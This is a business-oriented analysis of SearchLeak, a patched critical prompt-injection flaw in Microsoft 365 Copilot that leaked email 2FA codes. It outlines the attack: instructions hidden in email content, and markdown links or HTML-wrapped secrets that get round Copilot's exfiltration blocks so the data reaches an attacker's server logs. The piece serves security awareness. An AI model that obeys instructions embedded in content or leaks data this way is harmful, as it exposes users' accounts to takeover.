Microsoft patched max-critical Copilot bug after SearchLeak stole email 2FA codes

Last Tuesday, Microsoft patched what it rated as max critical in its M365 Copilot AI platform. On Monday, the researchers who found the issue and reported it to Microsoft revealed the proof-of-concept exploit: it could retrieve 2FA codes and other sensitive data from emails accessible to Copilot.

That pairing matters because it tells you two things at once. First, the vulnerability was real enough for Microsoft to move fast and call it max critical. Second, the risk was not a theoretical “prompt injection” scare. It was practical account takeover fuel: 2FA codes pulled from email through the Copilot access path.

So what actually went wrong? The Ars Technica account points to a core weakness in how LLM-based systems handle security boundaries. Microsoft and other LLM providers, despite repeated effort, have been unable to stop their products from complying with malicious requests that aim to reveal data. The root cause, as described in the article, is that AI bots cannot reliably distinguish between instructions a user intends from instructions that are snuck into third-party content the model is summarizing, drafting responses to, or using to perform actions on a user’s behalf.

If that sounds like a permissions problem, it is. In a typical secure workflow, you want a clean separation between “what the user asked for” and “what the model is allowed to use as material.” In this case, the model treats embedded instructions inside content as if they are part of the same instruction stream. With no trustworthy way to secure that boundary, Microsoft and peers end up doing something that is common in LLM security right up until it fails: stacking guardrails that are complicated and ad hoc, hoping they will be sufficient rather than proving they can never be bypassed.

The article explains one guardrail approach built into Copilot and most other LLMs: blocking actions that can directly exfiltrate data, like submitting web forms or sending emails. The logic is straightforward. If the model cannot push data out via common channels, then even if it misbehaves, the blast radius shrinks.

But the exploit leveraged workarounds that slip around that category of block. Instead of relying on classic HTML-based tricks, LLM hackers used markup language that allows formatting like headings, lists, and links without needing HTML tags. Another workaround was to wrap sensitive data inside HTML tags. In both cases, the result is the same operational outcome described in the piece: a web request that includes the secret information reaches the attacker’s web server, where the secret data is captured in logs.

That is the uncomfortable second-order implication for executives. You can freeze obvious exfiltration routes, but if the system can still be induced to cause outbound requests that include sensitive content in “unblocked” forms, the guardrails become a whack-a-mole exercise. Boards and risk teams have spent the last few years pushing for responsible AI programs, auditability, and safety layers. This story is a reminder that in LLM products, the hard part is not just preventing output leakage. It is preventing instruction confusion between user intent and embedded content intent.

There is also a regulatory and compliance angle that tends to get underestimated in product discussions. 2FA is not cosmetic. It is part of the control framework that organizations use to protect access to systems. If a model can cause 2FA codes to be exposed via email-accessible content, then incident response becomes less about “we leaked some text” and more about “we may have enabled account compromise.” In practical governance terms, this changes how you evaluate controls effectiveness for AI features that touch user communications, even when those features are framed as productivity tools.

For peers building or buying LLM integrations into business suites, the takeaway is not “Microsoft messed up.” The takeaway is that this is not a one-off failure of a single model or a single filter. The article frames the issue as a repeatable industry problem: LLM security approaches keep failing over and over because the systems are not designed to enforce the crucial boundary that security needs. If your roadmap depends on copilots accessing emails, documents, or other semi-trusted content, your risk model has to assume that malicious instructions can be hidden in that content, and that attackers will search for the next bypass that converts secrets into something outbound.